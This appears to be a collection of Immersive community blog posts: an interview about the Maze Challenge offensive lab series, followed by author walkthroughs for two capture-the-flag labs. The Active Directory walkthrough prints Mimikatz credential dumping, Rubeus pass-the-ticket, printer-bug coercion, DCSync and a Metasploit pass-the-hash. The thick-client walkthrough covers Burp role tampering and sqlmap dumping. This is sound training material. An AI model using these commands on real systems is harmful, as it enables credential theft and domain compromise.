Enter The Maze Challenge: Immersive’s Most Advanced Collection Yet
Today marks the release of the Maze Challenge, Immersive’s most advanced and cunningly designed offensive cybersecurity collection yet. This new series of labs is more than just a test of skills. It's a puzzle, a game, and a creative brain-bender, crafted by two of Immersive’s most brilliant minds: StefanApostol and SabrinaKayaci. Stefan, known to many as the "evil genius" behind the Human Connection Challenge, and Sabrina, who recently inspired our London community meetup attendees with her predictions on AI within the AppSec space, have teamed up to create something truly unique. We sat down with them to get their insights on what makes the Maze Challenge so special, so challenging, and so much fun. What was the main inspiration behind the maze theme, and how did you translate that narrative into a collection of technical labs? The core idea for the Maze Challenge, as Stefan explained, came from a shared love of games. "Both Sabrina and I are geeks. We like games, and we wanted to create a challenge with an overarching goal that was more than about earning a completion token." While our labs have always awarded tokens for completion, Stefan and Sabrina wanted to create a narrative that would engage users on a deeper level. "A maze is the perfect example of that," Stefan said. "We wanted to include a game element in these challenges." This isn't just a series of technical scenarios. It's a cohesive puzzle where each lab is a step toward a larger objective. The maze narrative encourages participants to think creatively, connecting different skills and techniques in a way that feels more like a game than a traditional capture the flag (CTF). I’ve heard that this is the most advanced lab collection yet. So, what makes these labs more challenging than the thousands of others in Immersive's catalogue? This collection is Immersive's most advanced to date, introducing a range of techniques not yet widely covered in the platform. The labs are a combination of real-world examples drawn from the creators' past experiences and internal testing, all woven together with a good deal of imagination. While the challenge covers a broad spectrum of offensive skills, including web, Linux, Windows, and Active Directory, Stefan was quick to name binary exploitation as an obvious concept that will have participants scratching their heads. The team collaborated with BenMcCarthy on this particular lab, and Ben being Ben, he poured all his creativity into it, making even Stefan nervous to attempt this mean challenge! Sabrina added that the real difficulty lies in the type of thinking required. "Some of them will really require outside-the-box thinking," she said. "They're unusual in a way that requires not just the technical skill, but some creativity and more critical thinking." This is a key theme throughout the collection. Participants can't rely on a simple, formulaic approach. Instead, they must be flexible and resourceful. Sabrina noted that some challenges will require "multiple sets of skills," forcing users to chain together their expertise in different areas to find a solution. Without giving away any spoilers, can you describe a moment in one of the labs that you're particularly proud of designing? Sabrina beamed as she recalled the Inner Maze lab. "I really enjoyed creating Inner Maze," she said, before adding a cryptic twist. "When you break out of that maze is when you're really trapped." She was particularly proud of her ability to create and then beat her own challenge, finding the exploit even more difficult than the design itself. Can you give users any hints or tips? The Maze Challenge is designed to be tough, and you should certainly expect it to be just that. However, the creators want everyone to have a fair shot, so they’ve some advice for those who might feel intimidated. Use the platform to your advantage. Stefan noted that around 98% of concepts within this challenge can be learned in the rest of our lab catalogue. “If you get stuck on a specific skill, take a break from the maze, find the relevant labs on the platform, and then come back with your newfound knowledge.” We encourage you to learn along the way, and persistence is always rewarded! Failure can be a sign of progress. Sabrina shared a key insight: "Sometimes it's important to take note of what it is you're doing that's failing... If you're failing at the same spot in a particular approach, that could actually mean that you're doing something right." Go figure that one out! Don't go it alone. Sabrina advises anyone starting their journey to ask others for advice and help. Our community help forum is a great resource for sharing knowledge and getting tips from fellow participants. We want you to have fun, and part of that fun is collaborating with your industry peers along the way. In the end, what do you hope participants will take away from this experience, beyond the technical skills? Stefan and Sabrina both hope it's a "desire for more challenges”! They also dropped a teaser for a community Halloween challenge… That’s all you’re getting for now! 👀 Want a head start? Join Stefan and Sabrina for a Labs Live webinar on August 19th. They’ll be solving the Improbable Maze lab live on the call, in collaboration with you. Attendees are encouraged to play along, offer their suggestions, methods, and frustrations. It’s the perfect opportunity to see the creators’ thought process and gain some momentum for your own journey through the maze. See you there!Community Challenge Season 1 Winners

Time’s Up! Congratulations to everyone who completed Lab 7: Active Directory from the Human Connection Challenge: Season 1. In this walkthrough, I'll share some strategies for efficiently completing the lab based on my perspective as the author. Remember, there are often multiple ways to approach a challenge, so if you used a different method and succeeded, that's perfectly fine! This challenge has now ended, but the lab remains available for practice. While prizes are no longer up for grabs, you can still complete the lab and use this walkthrough guide for support if needed. This walkthrough uses placeholders for target IPs in brackets, such as <Kali IP>. Simply replace this with the actual IP of your Kali instance or the specific target. Let's get started! Task 1 What is the WS01 token in C:\Users\Administrator\Desktop\token.txt? The credentials panel gives you the following username and password combination for host WS01. offensive\jack.s:!nitialPass33. Use the following command to log in to WS01: xfreerdp /v:<WS01 IP> /u:jack.s /d:offensive +clipboard +drives /drive:home,/home/kali /dynamic-resolution The task asks you for the token in C:\users\Administrator\Desktop, so your first job is to escalate your privileges, since jack.s is only a low-level user. For this, you can transfer SharpUp.exe, found in /home/kali/Desktop/tools. Run all privilege escalation checks with the following command: SharpUp audit This gives you the credentials OffensiveAdmin:It’sBlankAnyway. You can now use the following command to RDP to WS01 as OffensiveAdmin: xfreerdp /v:<WS01 IP> /u:OffensiveAdmin +clipboard +drives /drive:home,/home/kali /dynamic-resolution With admin privileges, you can now read the token in C:\Users\Administrator\Desktop\token.txt. Task 2 What is the SRV01 token in C:\Users\tina.m\Desktop\token.txt? It’s clear from the task that we must get access to user tina.m who can connect to SRV01. With your new administrator privileges on WS01, open a task manager to check for possible user sessions. You’ll see that tina.m has a cmd.exe process running. This means you can now attempt to get their hash or password from memory using Mimikatz. mimikatz.exe privilege::debug sekurlsa::logonpasswords Using the credentials offensive\tina.m:PwdDump1ng1241, you can now log in to SRV01 and get your second token. Task 3 What is the DC token in C:\Users\Administrator\Desktop\token.txt? The last task asks you to connect to the DC, which means you need to become a domain administrator. Use PowerView-Dev.ps1 to enumerate the most common attack paths to Domain Admin. One of them would be unconstrained delegation. . .\PowerView-Dev.ps1 Get-DomainComputer -Unconstrained -Properties dnshostname It seems like SRV01 is trusted for unconstrained delegation. Since you have administrator privileges, you can obtain DC01’s ticket-granting ticket (TGT). First, transfer Rubeus.exe, and MS-RPRN.exe over to SRV01. Then, run Rubeus and monitor for tickets. Rubeus.exe monitor /interval:1 Then, force DC01 to make an SMB connection to SRV01 to grab the ticket. .\MS-RPRN.exe \\dc01.offensive.local \\srv01.offensive.local sed -i "s/ //g" ticket.txt tr -d "\n" < ticket.txt Then, on SRV01, run the following command to pass it. Rubeus.exe ptt /ticket:<formatted base64 encoded ticket> If you did all that correctly, running the command klist would reveal the Kerberos ticket for the machine account DC01$. Now, transfer mimikatz.exe and run the following command: mimikatz.exe lsadump::dcsync /user:administrator This will give you the hash 2c9299e44ee3abcf5c6f9e7938123334. You can now use Metasploit to connect to the DC, as follows: sudo msfconsole use exploit/windows/smb/psexec set smbuser administrator set smbpass aad3b435b51404eeaad3b435b51404ee:2c9299e44ee3abcf5c6f9e7938123334 set rhosts <DC IP> exploit Finally, you can drop into a shell and read the token at C:\Users\Administrator\Desktop\token.txt. Tools For this challenge, you’ll use a range of tools including: SharpUp PowerView Rubeus MS-RPRN Metasploit Tips When testing for web application vulnerabilities, remember that vulnerabilities may reside in any part of the application. Subtle elements that appear unimportant could prove exploitable if they neglect to handle inputs securely. So make sure you check all user input forms and any buttons or links that direct you to different parts of the application. To learn more about some of the tools used in this lab, take a look at the following collections: Windows Basics Privilege Escalation: Windows Introduction to Metasploit Introduction to Active Directory Attacks Kerberos Conclusion The steps I’ve laid out here aren’t the only way to find the answers to the questions. As long as you find the answers, you did it – well done! If you used an alternative method, or think there’s a better route to find some of the answers, let us and the rest of the community know in the comments below!

Time’s Up! Congratulations to everyone who completed Lab 6: Thick Client Applications from the Human Connection Challenge: Season 1. In this walkthrough, I'll share some strategies for efficiently completing the lab based on my perspective as the author. Remember, there are often multiple ways to approach a challenge, so if you used a different method and succeeded, that's perfectly fine! This challenge has now ended, but the lab remains available for practice. While prizes are no longer up for grabs, you can still complete the lab and use this walkthrough guide for support if needed. Throughout this walkthrough, placeholders will be used for target IPs in brackets, such as <Kali IP>, <API IP>, or <Thick Client IP>. Simply replace this with the actual IP of your Kali instance or the specific target. Let's get started! Begin this challenge by setting up your Thick Client application with the API’s IP address. Go to the Remote Data Browser folder , right-click configuration.conf, then click Open with Notepad, and replace the original <IP:5000> with <API IP> or <API IP:80>. Task 1 Task 1 requires you to input a token that you’re meant to receive after you first log in to the Remote Data Browser application with the username and password provided in the Credentials panel. However, after logging in, the application doesn’t present any token. Under normal circumstances, when testing Thick Client applications, you’d have tools like ProcMon running while using the application to check for interactions with the file and operating system. In this lab, however, you can simply go back to the Remote Data Browser application’s folder. You’ll see that a token file has been created. Open it to find the token. Task 2 The second task asks for an admin token. However, you can’t access any admin panel through the application’s interface, meaning the role is set on login. First, open Burp Suite Community on your Thick Client machine. Then, set your System Proxy as follows: Go to Proxy settings > Manual proxy setup Toggle Use a proxy server to "on" Set the IP address as 127.0.0.1 Set the port as 8080 After everything is set up, turn on the Intercept feature of Burp Suite and log back into the application. On the login request, right click anywhere in the request panel and click Do intercept > Response to this request. This will result in a successful authentication response. It contains a JWT token that can be used in subsequent requests, the username that was used, and the current user’s role. From the response, you can assume that the API doesn’t tie the role to the session and instead sends it as a parameter to the application. The application then evaluates the role and presents the user with the appropriate panels. Now you can change the role in the response from user to admin. This will reveal a token in the Remote Data Browser application. Task 3 The final task asks for “the secret token in management”. Again, the application doesn’t offer this option. Clicking any of the vehicles, however, results in a Burp Suite request. The application sends this request to the server when selecting the truck option, along with the JWT received during the login phase. Since the vehicle parameter is the only one, you should focus on it for your final challenge. Adding an extra quote (‘) to the vehicle parameter returns the error “SQL query failed”. You can now safely assume this is vulnerable to SQL injection. Copy the original request into a file, retrieve.sqlmap, in your Kali box, and run sqlmap as follows: sqlmap -l retrieve.sqlmap --dump After hitting ENTER a few times (accepting SQLmap’s default options), you’ll be presented with your final token. Tools For this challenge, you’ll use a range of tools including: Burp Suite SQLMap Kali Tips When testing for Thick Client application vulnerabilities, remember that vulnerabilities may reside in any part of the application. Subtle elements that appear unimportant could prove exploitable if they don’t handle inputs securely. So make sure you check all user input forms and any buttons that direct you to different parts of the application. Although not required for this lab, you should always monitor operating and file system interactions and attempt to decompile the app to uncover all possible attack vectors. To learn more about some of the tools used in this lab, take a look at the following collections: Windows Basics Burp Suite Basics SQL Injection Conclusion The steps I’ve laid out here aren’t the only way to find the answers to the questions.
